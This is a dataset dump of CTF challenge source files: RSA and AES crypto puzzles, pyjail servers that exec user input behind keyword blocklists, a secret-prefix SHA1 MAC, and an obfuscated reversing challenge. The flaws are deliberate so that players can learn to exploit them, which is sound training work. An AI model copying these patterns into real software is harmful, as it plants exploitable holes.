repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Forest_For_The_Trees/server.py | ctfs/BlueHens/2023/misc/Forest_For_The_Trees/server.py | import json
from graph import Graph, Isomorphism
import random
import typing
import os
r = random.SystemRandom()
ROUNDS = 16
r = random.SystemRandom()
with open("public_key.json",'r') as f:
key = list(map(Graph.from_dict,json.load(f)))
with open("flag.txt",'r') as f:
flag = f.read()
def authenticate(key: ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator_2/client.py | ctfs/BlueHens/2023/misc/Modular_Authenticator_2/client.py | import random
import asyncio
import json
import itertools
#For local testing
HOST = "localhost"
PORT = 3000
ROUNDS = 128
RANDOM = random.SystemRandom()
async def main():
coro = asyncio.open_connection(HOST,PORT)
with open("public_key.json","r") as f:
public_key = json.loads(f.read())
with open("pr... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator_2/server.py | ctfs/BlueHens/2023/misc/Modular_Authenticator_2/server.py | import random
import json
import logging
import os
pid = os.getpid()
logging.basicConfig(filename="auth.log",level=logging.INFO,format=f"{pid}:%(message)s")
RAND = random.SystemRandom()
class InvalidInputException(Exception):
pass
class AuthenticationException(Exception):
pass
def get_inputs(cnt, lower_bo... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator/gen_key.py | ctfs/BlueHens/2023/misc/Modular_Authenticator/gen_key.py | from Crypto.Util import number
import random
import json
import math
rand = random.SystemRandom()
e = 65536
p = number.getStrongPrime(2048)
print(math.gcd(e,p-1))
s = rand.randint(2,p-2)
ssq = pow(s,e,p)
public_key = {
"p": p,
"s^e": ssq,
"e": e
}
private_key = {
"s": s
}
with open("private_key.json"... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator/server.py | ctfs/BlueHens/2023/misc/Modular_Authenticator/server.py | import random
import json
import os
pid = os.getpid()
RAND = random.SystemRandom()
class InvalidInputException(Exception):
pass
class AuthenticationException(Exception):
pass
def get_inputs(cnt, lower_bound, upper_bound):
try:
data = json.loads(input())
except json.JSONDecodeError as J:
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_6th_Grade/Sixth_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_6th_Grade/Sixth_Grade.py | from Crypto.Util.number import *
msg=b'UDCTF{REDACTED}'
pt=bytes_to_long(msg)
p1=getPrime(512)
q1=getPrime(512)
N1=p1*q1
e=3
ct1=pow(pt,e,N1)
p2=getPrime(512)
q2=getPrime(512)
N2=p2*q2
ct2=pow(pt,e,N2)
p3=getPrime(512)
q3=getPrime(512)
N3=p3*q3
ct3=pow(pt,e,N3)
print(N1)
print(N2)
print(N3)
print(e)
print(ct1)
print(c... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_8th_Grade/Eigth_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_8th_Grade/Eigth_Grade.py | from sympy import *
from Crypto.Util.number import *
import random
p=getPrime(512)
q = nextprime(p + random.randint(10**9,10**10))
N=p*q
msg=b'UDCTF{REDACTED}'
pt = bytes_to_long(msg)
e = 65537
ct = pow(pt, e, N)
print(N)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_7th_Grade/Seventh_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_7th_Grade/Seventh_Grade.py | from Crypto.Util.number import *
import sympy.ntheory as nt
import random
p=getPrime(1024)
q=nt.nextprime(p)
for _ in range(random.randint(500,10000)):
q=nt.nextprime(q)
N=p*q
msg="UDCTF{REDACTED}"
pt=bytes_to_long(msg)
e=65537
ct=pow(pt,e,N)
print(N)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_2nd_Grade/Second_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_2nd_Grade/Second_Grade.py | from Crypto.Util.number import *
n=166045890368446099470756111654736772731460671003059151938763854196360081247044441029824134260263654537
e=65537
msg=bytes_to_long(b'UDCTF{REDACTED}')
ct=pow(msg,e,n)
print(n)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_4th_Grade/Fourth_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_4th_Grade/Fourth_Grade.py | from Crypto.Util.number import *
e=65537
your_e = getPrime(20)
msg=bytes_to_long(b'UDCTF{REDACTED}')
p=getPrime(512)
q=getPrime(512)
n=p*q
assert(msg < n)
ct=pow(msg, e, n)
your_d = inverse(your_e, (p-1)*(q-1))
print(your_e)
print(your_d)
print(n)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_1st_Grade/First_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_1st_Grade/First_Grade.py | from Crypto.Util.number import *
p=getPrime(512)
q=getPrime(512)
n=p*q
e=65537
msg=bytes_to_long(b'UDCTF{REDACTED}')
ct=pow(msg,e,n)
print(p)
print(n)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/alice.py | ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/alice.py | import alice_secret
from pwn import *
import hashlib
from Crypto.Cipher import AES
from Crypto.Util import Padding
GENERATOR = 2
KEY_BYTES = 16
PRIME_BITS = 2048
def main(primes)->str:
prc = process(['python3', 'server.py'])
try:
p = int(prc.recvline().decode('utf-8'),16)
if p not in primes:
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/gen_agreed_primes.py | ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/gen_agreed_primes.py | from Crypto.Util import number
import multiprocessing
COUNT = 1024
SIZE = 2048
with multiprocessing.Pool(multiprocessing.cpu_count()) as pool:
with open("strong_primes",'w') as f:
for p in pool.imap_unordered(number.getStrongPrime,[SIZE for _ in range(COUNT)]):
f.write(hex(p)[2:] + '\n')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/server.py | ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/server.py | import random
from Crypto.Util import number, Padding
from Crypto.Cipher import AES
import flag
import logging
import hashlib
import json
GENERATOR = 2
KEY_BYTES = 16
PRIME_BITS = 2048
logging.basicConfig(filename="auth.log",level=logging.INFO,format="%(message)s")
def authenticate(primes):
RAND = random.Syst... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_5th_Grade/Fifth_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_5th_Grade/Fifth_Grade.py | from Crypto.Util.number import *
msg=b"UDCTF{REDACTED}"
pt=bytes_to_long(msg)
p=getPrime(1024)
q=getPrime(1024)
N=p*q
e=3
ct=pow(pt,e,N)
print(N)
print(e)
print(ct)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_3rd_Grade/Third_Grade.py | ctfs/BlueHens/2023/crypto/RSA_School_3rd_Grade/Third_Grade.py | from Crypto.Util.number import *
p=getPrime(512)
q=getPrime(512)
n=p*q
e1=71
e2=101
msg=bytes_to_long(b'UDCTF{REDACTED}')
c1 = pow(msg, e1, n)
c2 = pow(msg, e2, n)
print(n)
print(e1)
print(e2)
print(c1)
print(c2)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/TooRandom/main.py | ctfs/Pearl/2024/misc/TooRandom/main.py | from flask import Flask
from flask import render_template
from flask import redirect
from flask import request
import random
app = Flask(__name__)
app.secret_key = "secret_key"
seed = random.getrandbits(32)
random.seed(seed)
flag_no = None
def generate_user_ids():
global flag_no
random_numbers = []
for ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/b4by_jail/source.py | ctfs/Pearl/2024/misc/b4by_jail/source.py | #!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():
file=open("txt.txt","r").read()
print(file)
def check_blocklist(string):
for i in string:
if i in blacklist:
return(0)
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/jail_time/source.py | ctfs/Pearl/2024/misc/jail_time/source.py | #!/usr/local/bin/python
import blackbox as blackbox
import time
flag="pearl{j4il_time}"
def banner():
file=open("txt.txt","r").read()
print(file)
def main():
banner()
cmd=input(">>> ")
time.sleep(2)
cmd=blackbox.normalise(cmd)
if(blackbox.check_blocklist(cmd)):
try:
prin... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/game/Guesso/challenge.py | ctfs/Pearl/2024/game/Guesso/challenge.py | #!/usr/local/bin/python
import gensim
import numpy as np
from gensim.matutils import unitvec
import signal
MODEL_NAME = ""
TIMEOUT_TIME = 5
words = []
vectors = np.array([])
word_vectors = {}
class TimeoutException(Exception):
pass
def timeout_handler(signum, frame):
raise TimeoutException("Input timed out... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/3_spies/encrypt.py | ctfs/Pearl/2024/crypto/3_spies/encrypt.py | #!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
with open('flag.txt', 'rb') as f:
flag = f.read()
n1 = getPrime(512)*getPrime(512)
n2 = getPrime(512)*getPrime(512)
n3 = getPrime(512)*getPrime(512)
e=3
m = bytes_to_long(flag)
c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/syntelestis/chall.py | ctfs/Pearl/2024/crypto/syntelestis/chall.py | from Crypto.Util.number import getPrime, inverse
from random import randint
from secret import flag
p = getPrime(256)
print(f"p = {p}")
k = list()
flag = flag.hex().encode()
for i in range(len(flag) - 20):
g = []
h = []
for j in range(0, len(flag), 2):
a, b = flag[j], flag[j + 1]
m, n = ran... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Babys_Message_Out/chall.py | ctfs/Pearl/2024/crypto/Babys_Message_Out/chall.py | #!/usr/bin/env python3
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG
from math import log
import sys
n = pow(10, 5)
sys.setrecursionlimit(n)
def nextPrime(p):
if isPrime(p):
return p
else:
return nextPrime(p + 61)
p = getPrime(256)
q = nextPrime(nextPri... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Security++/secure.py | ctfs/Pearl/2024/crypto/Security++/secure.py | from flag import flag, key
from base64 import b64encode
from enc import encrypt_block, pad
def encrypt(data: bytes):
pt = data + flag
pt = pad(pt)
block_count = len(pt) // 16
encText = b''
for i in range(block_count):
if i % 2 == 0:
encText += encrypt_block(pt[i * 16:i * 16 + 1... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Security++/enc.py | ctfs/Pearl/2024/crypto/Security++/enc.py | from copy import copy
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8,... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/three_letter_acronyms/chall.py | ctfs/Pearl/2024/crypto/three_letter_acronyms/chall.py | from sage.all import *
from secret import MSG
assert len(MSG) == 150
assert MSG.isalpha
config = [
(100, 85, 16),
(100, 21, 80),
(100, 19, 82),
(100, 25, 76)
]
p, N, v, t = 23 ** 2, 100, 4, 41
F = GF(p)
M = MatrixSpace(F, v, v)
codeWords = list()
for n, k, _ in config:
grsCode = codes.Generalize... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/misc/Broken/chall.py | ctfs/Kashi/2025/misc/Broken/chall.py | #!/usr/bin/env python3
import hashlib
import socket
import signal
import sys
HOST = "0.0.0.0"
PORT = 1337
SECRET_KEY = b"REDACTED"
def generate_hmac(message):
return hashlib.sha1(SECRET_KEY + message.encode()).hexdigest()
def signal_handler(sig, frame):
print("\n[!] Server shutting down...")
sys.exit(0)... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Random_Inator/server.py | ctfs/Kashi/2025/crypto/Random_Inator/server.py | from redacted import PRNG, FLAG
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def encrypt(key, plaintext, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, 16))
return iv+ciphertext
P = PRNG()
KEY = P.getBytes(16)
IV = P.getBytes(16)
print(f"Doofe... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/AES.py | ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/AES.py | def xor(b1, b2):
if len(b1)!=len(b2):
raise ValueError("Lengths of byte strings are not equal")
return bytes([b1[i]^b2[i] for i in range(len(b1))])
def bytes2matrix(text):
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
s = b""
for l in matrix:
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/server.py | ctfs/Kashi/2025/crypto/Absolutely_Encrypted_Shenanigans/server.py | from AES import encrypt, pad
from redacted import secret, flag, EXIT
import json
import os
plaintext = pad(flag, 16)
for _ in range(10):
iv = os.urandom(8)*2
key = os.urandom(16)
try:
ciphertext = encrypt(key, plaintext, mode="CBC", iv=iv)
except:
EXIT()
print(json.dumps({
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Kashi/2025/crypto/Key_Exchange/server.py | ctfs/Kashi/2025/crypto/Key_Exchange/server.py | from redacted import EllipticCurve, FLAG, EXIT
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import random
import json
import os
def encrypt_flag(shared_secret: int):
sha1 = hashlib.sha1()
sha1.update(str(shared_secret).encode("ascii"))
key = sha1.digest()[:16]
iv = o... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/NexHunt/2025/crypto/X_O/challenge.py | ctfs/NexHunt/2025/crypto/X_O/challenge.py | from Crypto.Util.number import *
exponent_value="????"
flag="nexus{fake_flag}"
length="???"
assert (exponent_value + 1) & exponent_value == 0
def bitwise_complement_mask(input_number):
length_bits = len(bin(input_number)[2:])
return (2 ** length_bits) - 1 ^ input_number
def generate_special_primes(length):
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/rev/BeaverFeaver/beaver-feaver.py | ctfs/SecurityFest/2022/rev/BeaverFeaver/beaver-feaver.py | import re
parts = [
("0A$", "1-0B"),
("0A(.)-", "1-\\1B"),
("^0B", "0C1-"),
("(.)-0B", "\\1C1-"),
("^0C", "0A1-"),
("(.)-0C", "\\1A1-"),
("1A$", "1-0H"),
("1A(.)-", "1-\\1H"),
("1B$", "2-0B"),
("1B(.)-", "2-\\1B"),
("1C$", "2-0C"),
("1C(.)-", "2-\\1C"),
("^2A", "0C2-"),
("(.)-2A", "\\1C2-"),
("^2B", "0B... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/crypto/panta_fler/panta_fler.py | ctfs/SecurityFest/2022/crypto/panta_fler/panta_fler.py | from os import urandom
from Crypto.Util.strxor import strxor
key = urandom(30)
ms = [
b"[REDACTED]",
b"[REDACTED]",
b"[REDACTED]",
]
cs = []
for m in ms:
cs.append(strxor(key, m))
print(cs)
# [
# b'\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7',
# b... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/crypto/small_rsa/small_rsa.py | ctfs/SecurityFest/2022/crypto/small_rsa/small_rsa.py | from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8
def gen_... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/web/madness/app/app.py | ctfs/SecurityFest/2022/web/madness/app/app.py | # coding=utf-8
from flask import Flask, jsonify, make_response, render_template, request, redirect
import dns.resolver
from werkzeug.urls import url_fix
import re
app = Flask(__name__, static_url_path="/app/static")
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
if path =... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/SecurityFest/2022/web/madness/app/wsgi.py | ctfs/SecurityFest/2022/web/madness/app/wsgi.py | from app import app
if __name__ == "__main__":
app.run() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CONFidence/2020/Quals/chromatic_aberration/pow.py | ctfs/CONFidence/2020/Quals/chromatic_aberration/pow.py | import random #pow
import subprocess #pow
import string #pow
POW_BITS = 25
def random_string(n):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))
def check_pow():
r = random_string(10)
print(f"hashcash -mb{POW_BITS} {r}")
solution = input("Solution:").strip()
if subprocess.ca... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CONFidence/2020/Quals/chromatic_aberration/server.py | ctfs/CONFidence/2020/Quals/chromatic_aberration/server.py | import sys
import tempfile
import os
import pow
pow.check_pow()
print ("Give me file\n")
size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()
temp = tempfile.mktemp()
with open(temp, "w") as f:
f.write(script)
os.system("/app/bin/d8 "... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2018/collection/server.py | ctfs/C3CTF/2018/collection/server.py | import os
import tempfile
import os
import string
import random
def randstr():
return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
flag = open("flag", "r")
prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builti... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2018/collection/test.py | ctfs/C3CTF/2018/collection/test.py | import Collection
a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})
print(a.get("a"))
print(a.get("b"))
print(a.get("c"))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2019/not_BadUSB/server.py | ctfs/C3CTF/2019/not_BadUSB/server.py | #!/usr/bin/env python3
import usb.core, usb.util, sys, base64, os, signal
def timeout_handler(signum,frame):
print('your time is up', flush=True)
sys.exit(0)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(60)
filter_path = os.getenv('DEV_PATH')
print('Welcome to hxp\'s TotallyNotBadUSB --- you... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/C3CTF/2017/lfa/server.py | ctfs/C3CTF/2017/lfa/server.py | #!/usr/bin/python
import tempfile
import os
import string
import random
def randstr():
return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
code = "require 'LFA'\n"
code += "syscall 1, 1, \"hello\\n\", 6\n\n"
max = 600 # 600 linex should be more than... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/pwn/Jail_Escape/chal.py | ctfs/UACWS/2022/pwn/Jail_Escape/chal.py | #!/usr/bin/python3
import os
def main():
command = input('$ ')
for k in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'get']:
if k in command:
print("Not allowed")
return;
else:
exec(command)
if __name__ == "__main__":
print("Flag is at lo... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/rev/hidden/hidden.py | ctfs/UACWS/2022/rev/hidden/hidden.py |
baa_baa_baa_aaaฮฑa ='1234567890qwertyuiopasdfghjklzxcvbnm! QWERTYUIOPASDFGHJKLZXCVBNM{}_.,'
baa_O0O0OO =baa_baa_baa_aaaฮฑa [53 ]+baa_baa_baa_aaaฮฑa [17 ]+baa_baa_baa_aaaฮฑa [36 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [45 ]+baa_baa_baa_aaaฮฑa [35 ]+baa_baa_baa_aaaฮฑa [37 ]+baa_baa_baa_aaaฮฑa [28 ]+baa_baa_baa_aaaฮฑa [18 ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/release_unicorn/backend/app.py | ctfs/UACWS/2022/web/release_unicorn/backend/app.py | from flask import Flask, render_template, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
limiter = Limiter(
app,
